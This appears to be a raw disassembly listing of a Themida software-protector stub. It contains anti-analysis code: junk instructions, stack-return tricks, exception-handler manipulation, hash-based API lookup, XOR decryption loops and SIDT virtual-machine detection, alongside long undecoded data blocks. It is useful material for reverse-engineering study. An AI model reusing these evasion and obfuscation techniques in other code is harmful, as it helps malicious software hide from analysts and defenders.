		mov	edx, 8BF06D3Ch
		rcl	byte ptr [edi-77h], 1
		test	[ebp+0Eh], edx
		adc	al, 6
		pop	ecx
		call	dword ptr [ebp+6141869h]
		mov	ecx, edx
		mov	esi, ebx
		jg	loc_5B01A5
		mov	ecx, [ebp+6142329h]


loc_5B01A5:				; CODE XREF: Themida_:005B0199j
		lea	eax, [ebp+616A07Dh]
		jbe	loc_5B01B4
		movsx	edx, si


loc_5B01B4:				; CODE XREF: Themida_:005B01ABj
		call	eax
		push	0
		push	edx
		call	sub_5B01C1
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B01C1	proc near		; CODE XREF: Themida_:005B01B9p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5B01C1	endp

; ---------------------------------------------------------------------------
		db 47h,	18h, 6Ah
		dd 20D698B1h, 89D55634h, 14076595h, 66006A06h, 3BCCEA81h
		dd 8D895653h, 6141FB5h,	95FF5A5Fh, 6141869h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 86C35747h, 5DE7626Dh
		dd 0CE973h, 20500000h, 92DF56EEh, 5049CABFh, 0C08BADB2h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0B2C35545h
		dd 66F06F71h, 256B92F3h, 185BD01h, 0BD830614h, 61410F1h
		dd 83097500h, 140E25BDh, 19740006h, 0C08B5350h,	7D9B8h
		dd 19858900h, 8D061418h, 16A7529Dh, 5BD3FF06h, 25BD8358h
		dd 6140Eh, 53501774h, 7D9B8h, 19858900h, 8D061418h, 16A4419Dh
		dd 5BD3FF06h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 8B220240h, 1430D9BDh, 8D8B5606h
		dd 61425E1h, 6AC08B5Ah,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 0F72C355h, 687h, 71952300h
		dd 8B06142Dh, 140D1595h, 8B0F5006h, 6, 0AE19D29h, 0D88B0614h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 4BC35040h
		dd 90D9AE6h, 0FC89BE98h, 559D8D53h, 8B06141Dh, 8B038903h
		dd 43895043h, 819D8D50h, 8B0616FBh, 5B038903h, 281D83BAh
		dd 2830F70h, 8B000000h,	66006ACEh, 858DCF8Bh, 616FB81h
		dd 8B5005B2h, 14235595h, 0E9606A06h, 11h, 0CBDAC72Dh, 38333106h
		dd 3F8FF292h, 0BCC13093h, 55858D0Dh, 0E906141Dh, 14h, 0D984F299h
		dd 0E723F0D2h, 0DDEC6EB4h, 4EFBA50Bh, 61ECD2FDh, 0D9850150h
		dd 6A06140Dh, 0E9C28000h, 68F5006Ah, 1800h, 6A53F98Bh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 704EC355h, 796B965Dh, 0B993E102h,	1760FA25h
		dd 8D8D8B53h, 5A061411h, 311595FFh, 93BA0614h, 0FF0DA9B9h
		dd 140B7595h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 60F61735h, 9FA87A3Fh, 9D890C9Fh
		dd 61417C1h, 0EE9h, 9DED4000h, 25025569h, 19C7F25Ah, 0FF5CD5F8h
		dd 16FBE8B5h, 11E806h, 0E5E60000h, 725B0330h, 2776D22Fh
		dd 0D30037DBh, 2BE1CB9Bh, 143471BDh, 95FF5F06h,	6140BD9h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6FC35242h
		dd 8F663470h, 37E98D63h, 6E92Eh, 5B260000h, 0D1F9E977h
		dd 1D55858Dh, 89570614h, 141BE19Dh, 408B5A06h, 5E918h
		dd 46730000h, 526D6CB0h, 2DA98D89h, 0C75A0614h,	14131185h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0D1B11571h, 8B36D48Ah, 142FC9BDh
		dd 0D1BD8306h, 61416h, 25840Fh,	0B9660000h, 8C3D9B2Ah
		dd 0F000000h, 15B83h, 8D296000h, 614306Dh, 0AAA9D281h
		dd 0E961789Ah, 11h, 3DC8B70Fh, 98h, 13A830Fh, 0F2800000h
		dd 3B858D3Ah, 2B005B24h, 1404518Dh, 0FD0FF06h, 858DCAB7h
		dd 5B1E8Eh, 0E9D0FFF9h,	5, 42BD41D2h, 0B6C08BE4h, 0F1BD830Fh
		dd 61410h, 0BD830975h, 6140E25h, 50197400h, 0B8C08B53h
		dd 0BC6h, 18198589h, 9D8D0614h,	616A752h, 585BD3FFh, 0E25BD83h
		dd 74000614h, 0B8535017h, 0BC6h, 18198589h, 9D8D0614h
		dd 616A441h, 585BD3FFh,	3719D89h, 8D330614h, 6140C1Dh
		dd 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 632BB7C3h, 0F9725089h, 0FFFF883h,	4E85h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 619D89D2h, 1061426h, 140C4985h, 0D985C706h
		dd 6140Fh, 8B000000h, 1430E595h, 0E5E906h, 0E9F50000h
		dd 3Dh,	64A36BAh, 0A98D012Fh, 83061402h, 850F01F8h, 29h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 47C35646h
		dd 6919466Ah, 0D2E909h,	0B70F0000h, 0F19CE9D3h,	0BD0BFFFFh
		dd 6140CA9h, 0A6B5C08Bh, 10F1BD83h, 75000614h, 25BD8309h
		dd 6140Eh, 53501974h, 0DDB8C08Bh, 89000007h, 14181985h
		dd 529D8D06h, 0FF0616A7h, 83585BD3h, 140E25BDh,	17740006h
		dd 0DDB85350h, 89000007h, 14181985h, 419D8D06h,	0FF0616A4h
		dd 0FC585BD3h, 1820Fh, 0FF90000h, 381h,	0FBBF0F00h, 6AC08Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 96E3B4C3h, 20C58D29h, 5E90614h, 0F000002h, 680h, 0CD952B00h
		dd 8D061409h, 16F98585h, 6870F06h, 89000000h, 142E5595h
		dd 7D858906h, 0E90616FBh, 5, 75329672h,	3AE9C9h, 8D010000h
		dd 61411C5h
; ---------------------------------------------------------------------------


loc_5B0724:				; CODE XREF: Themida_:005B0103j
		lea	eax, [ebp+616F78Dh]
		mov	[ebp+6141719h],	edx
		pusha
		mov	[ebp+614064Dh],	esi
		jmp	loc_5B0746
; ---------------------------------------------------------------------------
		dd 11E99F62h, 6EEBA7DFh
		db 79h,	2Fh
; ---------------------------------------------------------------------------


loc_5B0746:				; CODE XREF: Themida_:005B0737j
		popa
		inc	eax
		mov	ecx, [ebp+6141C2Dh]
		mov	[ebp+616FB7Dh],	eax
		mov	dx, 3145h
		push	34h
		lea	eax, [ebp+6142415h]
		push	eax
		push	dword ptr [ebp+616FB7Dh]
		push	0
		call	dword ptr [ebp+61424DDh]
		cmp	eax, 7
		jz	loc_5B08E0
		mov	bx, ds
		test	bl, 4
		jnz	loc_5B0886
		mov	byte ptr [ebp+6140849h], 56h
		push	9CA8B852h
		push	dword ptr [ebp+6140C2Dh]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		push	4
		push	1000h
		push	64h
		push	0
		call	eax
		mov	[ebp+616FBF0h],	eax
		mov	byte ptr [ebp+6140849h], 47h
		push	0EC18AC9Bh
		push	dword ptr [ebp+6140C2Dh]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		call	eax
		mov	esi, eax
		mov	byte ptr [ebp+6140849h], 4Fh
		push	0C62F2661h
		push	dword ptr [ebp+6142B25h]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		lea	ebx, [ebp+616FBECh]
		push	ebx
		push	28h
		push	esi
		call	eax
		test	eax, eax
		jnz	short $+2
		mov	byte ptr [ebp+6140849h], 41h
		push	0DB876498h
		push	dword ptr [ebp+6142B25h]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		mov	[ebp+616FC09h],	eax
		mov	byte ptr [ebp+6140849h], 4Ch
		push	80A4E7A4h
		push	dword ptr [ebp+6142B25h]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		mov	ebx, [ebp+616FBF0h]
		lea	ebx, [ebx+4]
		push	ebx
		lea	ebx, [ebp+616FBF5h]
		push	ebx
		push	0
		call	eax
		mov	ebx, [ebp+616FBF0h]
		mov	dword ptr [ebx], 1
		mov	dword ptr [ebx+0Ch], 2
		mov	ebx, [ebp+614347Dh]
		mov	dword ptr [ebp+61409EDh], 0
		push	0
		push	0
		push	0
		mov	ebx, [ebp+616FBF0h]
		push	ebx
		push	0
		push	dword ptr [ebp+616FBECh]
		call	dword ptr [ebp+616FC09h]


loc_5B0886:				; CODE XREF: Themida_:005B077Ej
		mov	byte ptr [ebp+6140849h], 45h
		push	92A5F797h
		push	dword ptr [ebp+6142965h]
		lea	eax, [ebp+6143B4Eh]
		call	eax
		push	0
		push	2
		call	eax
		mov	bx, ds
		test	bl, 4
		jnz	short loc_5B08E0
		mov	ebx, [ebp+616FBF0h]
		mov	dword ptr [ebx+0Ch], 0
		push	0
		push	0
		mov	ebx, [ebp+616FBF0h]
		push	ebx
		push	0
		push	dword ptr [ebp+616FBECh]
		call	dword ptr [ebp+616FC09h]
		push	dword ptr [ebp+616FBECh]
		call	dword ptr [ebp+6140B75h]


loc_5B08E0:				; CODE XREF: Themida_:005B0772j
					; Themida_:005B08ACj
		push	0
		call	dword ptr [ebp+6141869h]
		mov	di, bx
		sub	cx, 7792h
		lea	eax, [ebp+6172E84h]
		cmc
		jb	loc_5B0901
		mov	dx, 5EBEh


loc_5B0901:				; CODE XREF: Themida_:005B08F7j
		push	eax
		jmp	loc_5B091A
; ---------------------------------------------------------------------------
		sbb	[ecx-12h], esp
		test	edx, ebx
		mov	ds, word ptr ds:0D9EC8F7h[ebp]
		lds	ebx, [ecx+55631758h]
		inc	esp


loc_5B091A:				; CODE XREF: Themida_:005B0902j
		push	large dword ptr	fs:0
		sub	dx, 4A8Ah
		mov	large fs:0, esp
		push	0
		push	edx
		call	sub_5B0938
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B0938	proc near		; CODE XREF: Themida_:005B0930p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5B0938	endp

; ---------------------------------------------------------------------------
		sal	ch, 0A0h
		das
		movzx	ecx, bx
		cmp	dword ptr [ebp+6140CC9h], 0
		jz	loc_5B0996
		mov	edx, 6FAA85F5h
		cmp	dword ptr [ebp+61401CDh], 1
		jnz	loc_5B0996
		push	edi
		pop	edx
		cmp	byte ptr [ebp+6170009h], 0
		jnz	loc_5B0996
		jnp	loc_5B0989
		mov	[ebp+6140C31h],	ebx


loc_5B0989:				; CODE XREF: Themida_:005B097Dj
		jmp	loc_5B0B38
; ---------------------------------------------------------------------------
		push	esi
		mov	[ebp+61404EDh],	esi
		pop	ecx


loc_5B0996:				; CODE XREF: Themida_:005B0956j
					; Themida_:005B0968j ...
		xor	ebx, ebx
		mov	edx, [ebp+6142DC9h]
		xor	eax, eax
		jge	loc_5B09A9
		mov	di, bx


loc_5B09A9:				; CODE XREF: Themida_:005B09A0j
		inc	eax
; ---------------------------------------------------------------------------
		dw 3F0Fh
		dd 8F640B07h, 5, 4C48300h, 1FE68160h, 6152E538h, 71D8D8Bh
		dd 0FB830614h, 10840FFFh, 89000000h, 141121B5h,	154E906h
		dd 37BF0000h, 0E95298F1h, 0A1h,	0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 2EC35141h, 0FB5C94B1h, 532C37A7h
		dd 1E458D89h, 0E85F0614h, 6, 53BEA2E2h,	0B9BA0768h, 5F24CD5Dh
		dd 0C244C8Bh, 0A481C7h,	0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h
		dd 0C245C8Bh, 0E855h, 815D0000h, 172EA6EDh, 0B8838B06h
		dd 8D000000h, 172F9C85h, 0B8838906h, 5D000000h,	8BC3C033h
		dd 50006AF8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1604h
		dd 0C3504000h, 8B3315EBh, 140CC195h, 9C858D06h,	6A06172Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 9FA5C351h, 6E595AF2h, 55006A50h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 7BAC2504h
		dd 0D58D89A1h, 0E9061425h, 14h,	0AEA7ACF1h, 31EF4114h
		dd 0D7AC01BAh, 0FF49E35Dh, 0C68768D3h, 35FF64h,	8B000000h
		dd 141ADD95h, 25896406h, 0
		dd 8E0Fh, 0AB90000h, 0B8000000h, 4855D704h, 0F7816405h
		dd 0D465BB0Dh, 40BA8685h, 810034B6h, 345FE8EAh,	0FB81ED00h
		dd 564D5868h, 85C70A75h, 6140029h, 1
; ---------------------------------------------------------------------------


loc_5B0B38:				; CODE XREF: Themida_:loc_5B0989j
		pop	large dword ptr	fs:0
		add	esp, 4
		ja	loc_5B0B49
		cld


loc_5B0B49:				; CODE XREF: Themida_:005B0B42j
		jge	loc_5B0B55
		or	[ebp+614087Dh],	eax


loc_5B0B55:				; CODE XREF: Themida_:loc_5B0B49j
		mov	eax, eax
		movzx	edx, di
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_5B0B6C
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5B0B85


loc_5B0B6C:				; CODE XREF: Themida_:005B0B61j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 43Dh
		mov	[ebp+61424F1h],	eax
		lea	ebx, [ebp+616A7B9h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B0B85:				; CODE XREF: Themida_:005B0B6Aj
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5B0BA5
		push	eax
		push	ebx
		mov	eax, 43Dh
		mov	[ebp+61424F1h],	eax
		lea	ebx, [ebp+616A45Ah]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B0BA5:				; CODE XREF: Themida_:005B0B8Cj
		js	loc_5B0BB4
		jns	loc_5B0BB4
		and	dh, 51h


loc_5B0BB4:				; CODE XREF: Themida_:loc_5B0BA5j
					; Themida_:005B0BABj
		jb	$+6
		jp	loc_5B0BC2
		mov	edx, ebx


loc_5B0BC2:				; CODE XREF: Themida_:005B0BBAj
		mov	eax, eax
		jmp	loc_5B0D10
; ---------------------------------------------------------------------------
		db 4, 2	dup(0)
		dd 392E3100h, 3031h, 6 dup(0)
		db    0
		db 2 dup(0), 45h
aXceptionInform	db 'xception Information',0
aPleaseContactT	db 'Please, contact the software developers with the following codes.'
		db ' Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
; ---------------------------------------------------------------------------


loc_5B0D10:				; CODE XREF: Themida_:005B0BC4j
		cmp	dword ptr [ebp+6142A51h], 0
		jz	loc_5B0E4A
		lea	eax, [ebp+616A271h]
		push	eax
		lea	eax, [ebp+616A1DBh]
		push	eax
		push	80000001h
		call	dword ptr [ebp+616A281h]
		lea	eax, [ebp+617302Dh]
		push	eax
		lea	eax, [ebp+6173037h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616A1EFh]
		push	eax
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+61416C9h]
		lea	eax, [ebp+617302Dh]
		push	eax
		lea	eax, [ebp+617303Bh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616A201h]
		push	eax
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+61416C9h]
		lea	eax, [ebp+617302Dh]
		push	eax
		lea	eax, [ebp+6173047h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616A24Eh]
		push	eax
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+61416C9h]
		lea	eax, [ebp+617302Dh]
		push	eax
		lea	eax, [ebp+617304Fh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616A26Ch]
		push	eax
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+61416C9h]
		lea	eax, [ebp+617302Dh]
		push	eax
		lea	eax, [ebp+617304Bh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616A255h]
		push	eax
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+61416C9h]
		lea	eax, [ebp+617302Dh]
		push	eax
		lea	eax, [ebp+617303Fh]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616A25Dh]
		push	eax
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+61416C9h]
		lea	eax, [ebp+617302Dh]
		push	eax
		lea	eax, [ebp+6173043h]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+616A264h]
		push	eax
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+61416C9h]
		push	dword ptr [ebp+616A271h]
		call	dword ptr [ebp+6142FF1h]
		jmp	loc_5B0EEC
; ---------------------------------------------------------------------------


loc_5B0E4A:				; CODE XREF: Themida_:005B0D17j
		cmp	dword ptr [ebp+6140CA5h], 0
		jz	loc_5B0EEC
		cmp	dword ptr [ebp+61401CDh], 0
		jnz	loc_5B0E75
		mov	edx, [ebp+6143169h]
		add	edx, 1CF8h
		jmp	loc_5B0E84
; ---------------------------------------------------------------------------


loc_5B0E75:				; CODE XREF: Themida_:005B0E5Ej
		lea	edx, [ebp+6141D55h]
		mov	edx, [edx+34h]
		add	edx, 3BD4C340h


loc_5B0E84:				; CODE XREF: Themida_:005B0E70j
		mov	[ebp+6140FC9h],	edx
		cmp	dword ptr [ebp+6140FC9h], 0
		jz	loc_5B0EEC
		mov	ebx, [ebp+6140FC9h]
		add	ebx, 4Ch
		mov	eax, [ebx]
		mov	[ebp+6173037h],	eax
		mov	ebx, [ebp+6140FC9h]
		add	ebx, 50h
		mov	eax, [ebx]
		mov	[ebp+617303Bh],	eax
		mov	ebx, [ebp+6140FC9h]
		add	ebx, 54h
		mov	eax, [ebx]
		mov	[ebp+6173047h],	eax
		mov	ebx, [ebp+6140FC9h]
		add	ebx, 58h
		mov	eax, [ebx]
		mov	[ebp+617304Bh],	eax
		mov	ebx, [ebp+6140FC9h]
		add	ebx, 5Ch
		mov	eax, [ebx]
		mov	[ebp+617303Fh],	eax


loc_5B0EEC:				; CODE XREF: Themida_:005B0E45j
					; Themida_:005B0E51j ...
		cmp	dword ptr [ebp+6142A51h], 0
		jnz	loc_5B0F06
		cmp	dword ptr [ebp+6140CA5h], 0
		jz	loc_5B0F6E


loc_5B0F06:				; CODE XREF: Themida_:005B0EF3j
		push	dword ptr [ebp+617304Fh]
		push	dword ptr [ebp+6173043h]
		push	dword ptr [ebp+617303Fh]
		push	dword ptr [ebp+617304Bh]
		push	dword ptr [ebp+6173047h]
		push	dword ptr [ebp+617303Bh]
		push	dword ptr [ebp+6173037h]
		lea	eax, [ebp+6173031h]
		push	eax
		lea	eax, [ebp+6173069h]
		push	eax
		lea	eax, [ebp+61420DDh]
		push	eax
		call	dword ptr [ebp+6141239h]
		add	esp, 24h
		push	40h
		lea	eax, [ebp+6173053h]
		push	eax
		lea	eax, [ebp+61420DDh]
		push	eax
		push	0
		call	dword ptr [ebp+61424DDh]
		push	1
		call	dword ptr [ebp+6141869h]


loc_5B0F6E:				; CODE XREF: Themida_:005B0F00j
		mov	eax, ecx
		jmp	short loc_5B0F8A
; ---------------------------------------------------------------------------
		dw 0F317h
		dd 9B46h, 4 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5B0F8A:				; CODE XREF: Themida_:005B0F70j
		jmp	loc_5B119A
; ---------------------------------------------------------------------------


loc_5B0F8F:				; CODE XREF: Themida_:005B0FA4j
		pusha
		mov	ebx, [esp+24h]
		call	$+5
		pop	ebp
		sub	ebp, 61733FDh
		popa
		retn	4
; ---------------------------------------------------------------------------
		jmp	loc_5B0F8F
; ---------------------------------------------------------------------------


loc_5B0FA9:				; CODE XREF: Themida_:005B0FAEj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5B0FA9
; ---------------------------------------------------------------------------


loc_5B0FB3:				; CODE XREF: Themida_:005B0FB8j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5B0FB3
; ---------------------------------------------------------------------------


loc_5B0FBD:				; CODE XREF: Themida_:005B0FC2j
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5B0FBD
; ---------------------------------------------------------------------------


loc_5B0FC7:				; CODE XREF: Themida_:005B0FCCj
		pusha
		popa
		retn	8
; ---------------------------------------------------------------------------
		jmp	loc_5B0FC7
; ---------------------------------------------------------------------------
		align 4
		dd 0
		dd 0C3616000h, 0FFFFF8E9h, 35B58BFFh, 81061734h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 39B53B00h, 0F061734h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 0FC9858Bh, 18860614h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 4D95FF08h, 50061403h, 244C010Fh, 0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 0FC9858Bh, 0C60614h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 6140FC9h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 6140DF1h,	0
; ---------------------------------------------------------------------------
		mov	eax, [esp+8]
		mov	ebx, [eax+1000h]
		mov	[eax+1000h], ebx
		mov	ebx, [eax]
		mov	[eax], ebx
		jmp	loc_5B10DB
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+6140DF1h], 100h


loc_5B10DB:				; CODE XREF: Themida_:005B10CCj
		pop	eax
		pop	ebx
		inc	dword ptr [esp]
		retn
; ---------------------------------------------------------------------------
		db 0E9h, 0A3h, 0FFh
		dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h
		dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh,	1, 0FC90A4Ah
		dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh
		dd 0C033087Ah, 1E9h, 3F80AA00h,	0F6850F00h, 5FFFFFFFh
		dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h
		dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h,	595EC38Bh
		dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h
		dd 0BAACBD1h, 1840FD2h,	4A000000h, 850FC00Ah, 0FFFFFFE7h
		dd 850FD20Bh, 0FFFFFFDFh
; ---------------------------------------------------------------------------
		popa
		retn
; ---------------------------------------------------------------------------


loc_5B119A:				; CODE XREF: Themida_:loc_5B0F8Aj
		mov	ax, ds
		test	al, 4
		jz	loc_5B11CE
		mov	dword ptr [ebp+61733DAh], 1
		push	eax
		sidt	fword ptr [esp-2]
		pop	dword ptr [ebp+61733DEh]
		lea	eax, [ebp+61733D6h]
		lea	edi, [ebp+61733DEh]
		mov	[eax], edi
		jmp	loc_5B11F1
; ---------------------------------------------------------------------------


loc_5B11CE:				; CODE XREF: Themida_:005B119Fj
		lea	eax, [ebp+6141D55h]
		mov	eax, [eax+38h]
		add	eax, 9B46F317h
		mov	[ebp+61733D6h],	eax
		lea	eax, [ebp+6141D55h]
		mov	eax, [eax+3Ch]
		mov	[ebp+61733DAh],	eax


loc_5B11F1:				; CODE XREF: Themida_:005B11C9j
		lea	eax, [ebp+61733F3h]
		mov	[ebp+614034Dh],	eax
		jmp	loc_5B1289
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_5B121D
; ---------------------------------------------------------------------------


loc_5B1216:				; CODE XREF: Themida_:005B121Fj
		add	[esi], al
		xor	[esi], al
		ror	eax, 1
		inc	esi


loc_5B121D:				; CODE XREF: Themida_:005B1211j
		cmp	esi, edi
		jb	loc_5B1216
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		pusha
		mov	esi, [edx+8]
		mov	edi, [edx+0Ch]
		mov	eax, 0A945CAB2h
		jmp	loc_5B1245
; ---------------------------------------------------------------------------


loc_5B123E:				; CODE XREF: Themida_:005B1247j
		xor	[esi], al
		sub	[esi], al
		ror	eax, 1
		inc	esi


loc_5B1245:				; CODE XREF: Themida_:005B1239j
		cmp	esi, edi
		jb	loc_5B123E
		popa
		pop	edx
		retn	8
; ---------------------------------------------------------------------------
		push	edx
		mov	edx, esp
		push	esi
		push	ecx
		push	ebx
		xor	ebx, ebx
		mov	esi, [edx+8]
		mov	ecx, [edx+0Ch]
		jmp	loc_5B1278
; ---------------------------------------------------------------------------


loc_5B1265:				; CODE XREF: Themida_:005B127Aj
		lodsb
		cmp	al, 2Dh
		jz	loc_5B1278
		add	al, 98h
		xor	al, 13h
		xor	bl, al
		rol	ebx, 8
		dec	ecx


loc_5B1278:				; CODE XREF: Themida_:005B1260j
					; Themida_:005B1268j
		or	ecx, ecx
		jnz	loc_5B1265
		mov	eax, ebx
		pop	ebx
		pop	ecx
		pop	esi
		pop	edx
		retn	8
; ---------------------------------------------------------------------------


loc_5B1289:				; CODE XREF: Themida_:005B11FDj
		lea	eax, [ebp+6173666h]
		mov	[ebp+61430DDh],	eax
		lea	eax, [ebp+617368Eh]
		mov	[ebp+6140895h],	eax
		lea	eax, [ebp+61736B6h]
		mov	[ebp+6142C3Dh],	eax
		pusha
		jl	loc_5B12B8
		mov	cx, 5B1Ch


loc_5B12B8:				; CODE XREF: Themida_:005B12AEj
		mov	eax, eax
		jmp	loc_5B12CA
; ---------------------------------------------------------------------------
		db 0F4h
		dd 0F5019556h, 73566A37h
		db 0CCh
		db 7Ch
; ---------------------------------------------------------------------------


loc_5B12CA:				; CODE XREF: Themida_:005B12BAj
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_5B12DC
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5B12F5


loc_5B12DC:				; CODE XREF: Themida_:005B12D1j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 40Eh
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A752h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B12F5:				; CODE XREF: Themida_:005B12DAj
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_5B1315
		push	eax
		push	ebx
		mov	eax, 40Eh
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A441h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_5B1315:				; CODE XREF: Themida_:005B12FCj
		push	0
		push	ebp
		call	sub_5B1320
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B1320	proc near		; CODE XREF: Themida_:005B1318p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 17h
		inc	ebp
		push	ebp
		retn
sub_5B1320	endp

; ---------------------------------------------------------------------------
		dd 839D4F4Fh, 0CF73BA66h, 0CFEE8166h, 66C08B4Dh, 8375E2BEh
		dd 140CC9BDh, 840F0006h, 0Bh, 265E9F9h,	6CBE0000h, 8C598763h
		dd 0C7F766DFh, 850F0004h, 253h,	7ECE8166h, 247B9BCh, 0BD83064Dh
		dd 61416D1h, 4A850F00h,	6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 7CDCC357h
		dd 3DCA8166h, 215E96Eh,	6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 66BD3DC3h, 6B74BFBEh
		dd 0B9FF2B0Dh, 3798B55Ch, 39BF9D8Dh, 0E8500617h, 0Dh, 0ABB0DB52h
		dd 82C006A8h, 14FCC170h, 6BA662Fh, 1C895A50h, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1504h, 0C3554500h
		dd 0BF0FCB4Eh, 0D98166C9h, 860FC62Ch, 5, 4FA6D1B9h, 35FF643Dh
		dd 0
; ---------------------------------------------------------------------------
		mov	ecx, 37BD3348h
		mov	large fs:0, esp
		push	0
		push	edi
		call	sub_5B143F
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B143F	proc near		; CODE XREF: Themida_:005B1437p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_5B143F	endp

; ---------------------------------------------------------------------------
